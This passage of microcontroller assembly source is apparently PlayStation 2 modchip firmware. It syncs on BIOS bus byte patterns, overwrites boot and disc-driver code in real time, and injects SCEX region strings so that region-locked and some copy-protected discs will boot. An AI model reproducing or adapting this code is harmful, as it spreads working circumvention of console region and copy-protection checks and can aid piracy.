;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE setb PSX_FLAG jmp MODE_SELECT_START ; ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e ; 1e 00 63 34 24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;; setb V0_FLAG ;;;; ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch snb V0_FLAG page $0800 jmp PS2_MODE_START_V0 ;PS2 osd patch or PS1DRV init... (based on psx_flag status) page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr ;snb V0_FLAG ;; ; ;jmp START_CDDVD_PATCH sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ; jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH ; mov w,#49;$31 ; mov VAR_DC2,w ; mov w,#$1 ; mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp 